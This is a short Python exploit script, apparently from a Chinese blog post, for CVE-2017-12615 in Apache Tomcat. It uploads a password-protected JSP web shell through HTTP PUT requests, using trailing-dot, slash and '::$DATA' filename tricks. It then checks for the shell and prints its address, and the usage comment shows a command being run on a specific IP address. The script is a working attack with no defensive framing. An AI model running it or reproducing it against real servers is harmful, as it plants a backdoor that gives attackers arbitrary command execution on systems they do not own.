# coding:utf-8
# author:cbd666
import requests
import sys
'''
Usege:python3 CVE-2017-12615.py http://127.0.0.1/
Shell:http://120.79.66.58:8080/写入的文件?pwd=cbd&cmd=whoami
'''
def attack(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"}
data = """<%
if("cbd".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
code = ['cbd.jsp.', 'cbd.jsp/', 'cbd.jsp::$DATA']
try:
for i in range(2):
requests.put(url + code[i], headers=headers, data=data) # 发送put请求写入文件
resp = requests.get(url + code[i][:-1], headers=headers) # 发送get请求验证是否写入
if resp.status_code == 200:
print('写入文件成功,shell地址为 ' + url + code[0][:-1])
exit()
requests.put(url + code[2], headers=headers, data=data)
resp1 = requests.get(url + code[2], headers=headers)
if resp1.status_code == 200:
print('写入文件成功,shell地址为 ' + url + code[2])
print('Exploit结束')
except:
"someone is error!!!"
if __name__ == '__main__':
target_url = sys.argv[1]
attack(target_url)
[CVE-2017-12615]利用脚本
最新推荐文章于 2024-01-27 16:37:47 发布